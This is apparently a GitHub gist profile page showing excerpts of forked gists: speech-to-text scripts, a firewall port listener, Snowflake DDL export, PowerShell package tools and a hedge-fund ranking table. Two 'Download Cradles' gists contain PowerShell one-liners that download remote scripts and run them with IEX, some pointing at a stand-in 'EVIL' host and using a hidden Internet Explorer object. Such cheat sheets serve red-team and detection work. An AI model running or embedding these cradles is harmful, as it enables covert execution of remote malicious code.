Skip to content

Instantly share code, notes, and snippets.

View sandscap-sc's full-sized avatar

Jeff Lewis sandscap-sc

  • Sands Capital
  • NYC
View GitHub Profile
@sandscap-sc
sandscap-sc / ollama_fast_speech_text_speech.py
Created February 17, 2024 19:41 — forked from lucataco/ollama_fast_speech_text_speech.py
speech to text to speech using Ollama
""" To use: install Ollama, clone OpenVoice, run this script in the OpenVoice directory
brew install portaudio
brew install git-lfs
git lfs install
git clone https://github.com/myshell-ai/OpenVoice
cd OpenVoice
git clone https://huggingface.co/myshell-ai/OpenVoice
cp -r OpenVoice/* .
@sandscap-sc
sandscap-sc / fast_speech_text_speech.py
Created February 16, 2024 20:17 — forked from thomwolf/fast_speech_text_speech.py
speech to text to speech
""" To use: install LLM studio (or Ollama), clone OpenVoice, run this script in the OpenVoice directory
git clone https://github.com/myshell-ai/OpenVoice
cd OpenVoice
git clone https://huggingface.co/myshell-ai/OpenVoice
cp -r OpenVoice/* .
pip install whisper pynput pyaudio
"""
from openai import OpenAI
import time
@sandscap-sc
sandscap-sc / pln.cs
Created January 5, 2023 19:07 — forked from AndrewSav/pln.cs
TCP Port Listener
// This is a very basic TCP port listener that allows you to listen on a port range
// If you run this program outside of firewall and run a port scanner inside a firewall
// pointing to the ip address where this program runs, the port scanner will be able you
// to tell which exactly ports are open on the firewall
// This code will run on Windows, but most importantly also on linux.
// DigitalOcean.com has all ports for their VMs open by default. So spin a new VM,
// copy pln.cs in your (root) home folder and then run:
// sudo apt-get update
// sudo apt-get install mono-complete -y
// mcs pln.cs
@sandscap-sc
sandscap-sc / script_out_snowflake_database_objects.py
Created November 11, 2022 15:22 — forked from kulmam92/script_out_snowflake_database_objects.py
Generate DDL including permission of objects in a given Snowflake database into separate files
import os
import shutil
import subprocess
import time
from datetime import datetime
import snowflake.connector
import logging
# Information for Snowflake
SNOWSQL_ACCOUNT = "XXXXXXXXX.east-us-2.azure"
@sandscap-sc
sandscap-sc / XmlTreePackage.ps1
Created August 31, 2021 20:37 — forked from tcartwright/XmlTreePackage.ps1
POWERSHELL: Will generate an xml tree for a package and its dependencies. Can also be used to track down package recursive loops.
Param(
[Parameter(Mandatory=$true)]
[string] $PackageName,
[string] $PackageVersion = "0.0.0"
)
Clear-Host
#use this to retain what we have packagesList previously so we dont have to find it again
$packagesList = @{}
@sandscap-sc
sandscap-sc / DownloadPackage.ps1
Created August 31, 2021 20:37 — forked from tcartwright/DownloadPackage.ps1
POWERSHELL: Download package recursively. Is able to work even when Install-Package hits a dependency loop.
Param(
[Parameter(Mandatory=$true)]
[string] $PackageName,
[string] $PackageVersion = "0.0.0",
[string] $PackageDestination
)
Clear-Host
<#
NOTES: You really should use:
@sandscap-sc
sandscap-sc / DownloadCradles.ps1
Created December 10, 2020 05:40 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@sandscap-sc
sandscap-sc / DownloadCradles.ps1
Created December 10, 2020 05:40 — forked from Heirhabarov/DownloadCradles.ps1
Download Cradles
################################################## System.Net. cradles ##################################################
# System.Net.Webclient DownloadString
IEX (New-Object Net.Webclient).DownloadString('https://gist.github.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1')
# System.Net.Webclient DownloadData
IEX ([System.Text.Encoding]::ASCII.GetString((New-Object Net.Webclient).DownloadData('https://gist.github.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1')))
$test = (New-Object Net.Webclient).DownloadData('https://gist.github.com/Heirhabarov/69105374b08b12ab10f215b0923119d2/raw/45896b2561cc9c577378a630817078fbcd0588f4/TestPSScript.ps1'); $st = [System.Text.Encoding]::ASCII.GetString($test); IEX $st
# System.Net.Webclient DownloadFile (touches disk)
@sandscap-sc
sandscap-sc / list.md
Created November 4, 2020 17:54 — forked from ih2502mk/list.md
Quantopian Lectures Saved
Ranked by discretionary assets managed in hedge funds worldwide, in millions, as of June 30, 2018, unless otherwise noted.
Rank Manager Assets Change from 2017
1 Bridgewater Associates $132,756 7.9%
2 AQR Capital Mgmt. $83,700 9.2%
3 Man Group $59,100 11.3%
4 Renaissance Technologies $57,000 17.3%
5 Two Sigma Inv./Two Sigma Advisers $38,800 9.6%
6 Millennium Mgmt. $35,314 2.7%
7 Elliott Management $35,000 7.0%